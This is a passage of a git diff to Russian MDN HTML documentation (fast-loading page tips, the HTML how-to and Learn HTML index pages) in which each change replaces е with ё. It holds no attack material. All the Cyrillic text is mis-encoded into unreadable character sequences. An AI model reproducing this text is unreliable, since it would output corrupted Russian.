Π±ΠΎΠ»Π΅Π΅ быстрый ΠΎΡ‚ΠΊΠ»ΠΈΠΊ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
-<p>Π›ΡŽΠ±Ρ‹Π΅ динамичСскиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠ»Π½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы ΠΏΠ΅Ρ€Π΅Π΄ использованиСм, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ JavaScript послС содСрТимого страницы, Ρ‡Ρ‚ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ ΠΎΠ±Ρ‰ΠΈΠΉ Π²ΠΈΠ΄ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы.</p>
+<p>Π›ΡŽΠ±Ρ‹Π΅ динамичСскиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠ»Π½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы ΠΏΠ΅Ρ€Π΅Π΄ использованиСм, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ JavaScript послС содСрТимого страницы, Ρ‡Ρ‚ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ ΠΎΠ±Ρ‰ΠΈΠΉ Π²ΠΈΠ΄ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы.</p>
<h3 id="Reduce_the_number_of_inline_scripts" name="Reduce_the_number_of_inline_scripts">Π£ΠΌΠ΅Π½ΡŒΡˆΠ°ΠΉΡ‚Π΅ количСство встроСнных скриптов</h3>
@@ -78,7 +78,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages
<p>ИспользованиС ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ прСимущСства. Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ исправлСниС ошибок ΠΏΡ€ΠΈ Ρ€Π°Π·Π±ΠΎΡ€Π΅ HTML (это ΠΏΠΎΠΌΠΈΠΌΠΎ философской ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹: Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ΠΏΡ€ΠΈ Π²Π²ΠΎΠ΄Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ Β«ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΒ» ΠΈΠ»ΠΈ Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ; ΠΈΠ»ΠΈ вмСсто ΡΡ‚ΠΎΠ³ΠΎΒ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ строгий Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π²Π²ΠΎΠ΄Π° Π±Π΅Π· допусков).</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, коррСктная Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° позволяСт спокойно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ваши Π²Π΅Π±-страницы. НапримСр, <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΈ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚Π΅Π³ΠΈ; ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½ откаТСтся Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ страницу с ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Ρ‹ΠΌΠΈ ошибками Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, коррСктная Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° позволяСт спокойно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ваши Π²Π΅Π±-страницы. НапримСр, <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΈ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚Π΅Π³ΠΈ; ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½ откаТСтся Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ страницу с ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Ρ‹ΠΌΠΈ ошибками Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</p>
<h3 id="Chunk_your_content" name="Chunk_your_content">РаздСляйтС ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</h3>
@@ -136,7 +136,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages
<p>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ сцСнарии JavaScript Ρ‚Π°ΠΊΠΈΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ совмСстимы ΠΊΠ°ΠΊ с async, Ρ‚Π°ΠΊ ΠΈ с defer, ΠΈ ΠΏΠΎ возмоТности ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ async, особСнно Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ нСсколько Ρ‚Π΅Π³ΠΎΠ² script.</p>
-<p>ΠŸΡ€ΠΈ этом страница ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΡΡ‚Π°Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ, ΠΏΠΎΠΊΠ° JavaScript всС Π΅Ρ‰Π΅ загруТаСтся. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π½ΠΈΡ‡Π΅Π³ΠΎ послС Ρ‚Π΅Π³ΠΎΠ² сцСнария, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ этих Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ².</p>
+<p>ΠŸΡ€ΠΈ этом страница ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΡΡ‚Π°Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ, ΠΏΠΎΠΊΠ° JavaScript всС Π΅Ρ‰Ρ‘ загруТаСтся. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π½ΠΈΡ‡Π΅Π³ΠΎ послС Ρ‚Π΅Π³ΠΎΠ² сцСнария, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ этих Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ².</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ эти Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…, Π½ΠΎ Π½Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Если Π²Ρ‹ ΡƒΠΆΠ΅ слСдуСтС всСм рСкомСндациям JavaScript, Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΊΠΎΠ΄.</p>
diff --git a/files/ru/learn/html/howto/index.html b/files/ru/learn/html/howto/index.html
index c4f9f46583..79ecb8bac7 100644
--- a/files/ru/learn/html/howto/index.html
+++ b/files/ru/learn/html/howto/index.html
@@ -77,13 +77,13 @@ original_slug: Learn/HTML/Π Π΅Ρ†Π΅ΠΏΡ‚Ρ‹
<h2 id="НСобычныС_ΠΈΠ»ΠΈ_ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹">НСобычныС ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹</h2>
-<p>Помимо основ, HTML ΠΎΡ‡Π΅Π½ΡŒ Π±ΠΎΠ³Π°Ρ‚ ΠΈ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹Π΅ возмоТности для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ слоТных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ. Π­Ρ‚ΠΈ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ с ΠΌΠ΅Π½Π΅Π΅ распространСнными случаями использования, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ:</p>
+<p>Помимо основ, HTML ΠΎΡ‡Π΅Π½ΡŒ Π±ΠΎΠ³Π°Ρ‚ ΠΈ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹Π΅ возмоТности для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ слоТных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ. Π­Ρ‚ΠΈ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ с ΠΌΠ΅Π½Π΅Π΅ распространёнными случаями использования, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ:</p>
<div class="column-container">
<div class="column-half">
<h3 id="Π€ΠΎΡ€ΠΌΡ‹">Π€ΠΎΡ€ΠΌΡ‹</h3>
-<p>Π€ΠΎΡ€ΠΌΠ° это слоТная HTML структура прСдназначСнная для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… с Π²Π΅Π±-страницы Π½Π° Π²Π΅Π±-сСрвСр. ΠœΡ‹ ΠΏΡ€ΠΈΠ·Ρ‹Π²Π°Π΅ΠΌ вас ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ нашС ΠΏΠΎΠ»Π½ΠΎΠ΅ посвящСнноС руководство. Π’ΠΎΡ‚ Π³Π΄Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ:</p>
+<p>Π€ΠΎΡ€ΠΌΠ° это слоТная HTML структура прСдназначСнная для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… с Π²Π΅Π±-страницы Π½Π° Π²Π΅Π±-сСрвСр. ΠœΡ‹ ΠΏΡ€ΠΈΠ·Ρ‹Π²Π°Π΅ΠΌ вас ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ нашС ΠΏΠΎΠ»Π½ΠΎΠ΅ посвящённоС руководство. Π’ΠΎΡ‚ Π³Π΄Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ:</p>
<ul>
<li><a href="/en-US/docs/Web/Guide/HTML/Forms/My_first_HTML_form">Как ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π’Π΅Π±-Ρ„ΠΎΡ€ΠΌΡƒ</a></li>
diff --git a/files/ru/learn/html/index.html b/files/ru/learn/html/index.html
index 0727a2b8bd..724e99ac8a 100644
--- a/files/ru/learn/html/index.html
+++ b/files/ru/learn/html/index.html
@@ -19,7 +19,7 @@ translation_of: Learn/HTML
<h2 id="ΠŸΡƒΡ‚ΡŒ_обучСния_(ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ_траСктория)">ΠŸΡƒΡ‚ΡŒ обучСния (ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ траСктория)</h2>
-<p>Π’ ΠΈΠ΄Π΅Π°Π»Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹Β Π½Π°Ρ‡Π°Ρ‚ΡŒ своС ΡƒΡ‡Π΅Π±Π½ΠΎΠ΅ ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΠΈΠ΅ с изучСния HTML. НачнитС с прочтСния Ρ€Π°Π·Π΄Π΅Π»Π° <a href="/ru/docs/Web/Guide/HTML/Introduction">"Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅Β Π² HTML"</a>. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΡŽ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Ρ… Ρ‚Π΅ΠΌ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ:</p>
+<p>Π’ ΠΈΠ΄Π΅Π°Π»Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹Β Π½Π°Ρ‡Π°Ρ‚ΡŒ своё ΡƒΡ‡Π΅Π±Π½ΠΎΠ΅ ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΠΈΠ΅ с изучСния HTML. НачнитС с прочтСния Ρ€Π°Π·Π΄Π΅Π»Π° <a href="/ru/docs/Web/Guide/HTML/Introduction">"Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅Β Π² HTML"</a>. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΡŽ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Ρ… Ρ‚Π΅ΠΌ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ:</p>
<ul>
<li><a href="/ru/docs/Learn/CSS">"CSS (ΠšΠ°ΡΠΊΠ°Π΄Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй)"</a>, ΠΈ ΠΊΠ°ΠΊ ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для оформлСния (стилизации) HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈ Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΈ Ρ‚Π΅Π½Π΅ΠΉ для элСмСнтов, Ρ€Π°Π·Π±ΠΈΠ΅Π½ΠΈΠ΅ страницы Π½Π° нСсколько столбцов, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… эффСктов).</li>
@@ -36,19 +36,19 @@ translation_of: Learn/HTML
<dl>
<dt><a href="/ru/docs/Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² HTML</a></dt>
- <dd>Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π΄Π°Π΅Ρ‚ основу, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π°ΠΆΠ½Ρ‹Π΅ понятия ΠΈ синтаксис, Π²Ρ‹ рассмотритС ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ HTML ΠΊ тСксту, ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ гипСрссылки ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ HTML для структурирования Π²Π΅Π±-страницы.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π΄Π°Ρ‘Ρ‚ основу, которая ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π°ΠΆΠ½Ρ‹Π΅ понятия ΠΈ синтаксис, Π²Ρ‹ рассмотритС ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ HTML ΠΊ тСксту, ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ гипСрссылки ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ HTML для структурирования Π²Π΅Π±-страницы.</dd>
<dt><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding">ΠœΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° ΠΈ встраиваниС</a></dt>
<dd>Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ рассматриваСтся использованиС HTML для ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΒ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΊ вашим Π²Π΅Π±-страницам, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ способы встраивания ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π΄Π°ΠΆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-страниц.</dd>
<dt>Β </dt>
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Tables">HTML Π’Π°Π±Π»ΠΈΡ†Ρ‹</a></dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π²Π΅Π±-страницС Π² понятном, {{glossary("Accessibility", "доступном")}} ΠΎΠ±Ρ€Π°Π·Π΅, ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ. Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ описываСт основы Ρ‚Π°Π±Π»ΠΈΡ‡Π½ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ слоТныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ рСализация подписок ΠΈ Ρ€Π΅Π·ΡŽΠΌΠ΅.</dd>
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms">HTML Π€ΠΎΡ€ΠΌΡ‹</a></dt>
- <dd>Π€ΠΎΡ€ΠΌΡ‹ - ΠΎΡ‡Π΅Π½ΡŒ ваТная Ρ‡Π°ΡΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°, ΠΎΠ½ΠΈΒ Β ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚Β  Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для взаимодСйствия с Π²Π΅Π±-сайтом, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, рСгистрация ΠΈ Π²Ρ…ΠΎΠ΄ Π² систСму, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΎΡ‚Π·Ρ‹Π²ΠΎΠ², ΠΏΠΎΠΊΡƒΠΏΠΊΠ° ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ² ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅. Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ Π²Ρ‹ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ с создания частСй Ρ„ΠΎΡ€ΠΌ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°.</dd>
+ <dd>Π€ΠΎΡ€ΠΌΡ‹ - ΠΎΡ‡Π΅Π½ΡŒ ваТная Ρ‡Π°ΡΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°, ΠΎΠ½ΠΈΒ Β ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚Β  Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для взаимодСйствия с Π²Π΅Π±-сайтом, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, рСгистрация ΠΈ Π²Ρ…ΠΎΠ΄ Π² систСму, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΎΡ‚Π·Ρ‹Π²ΠΎΠ², ΠΏΠΎΠΊΡƒΠΏΠΊΠ° ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ² ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅. Π’ этом 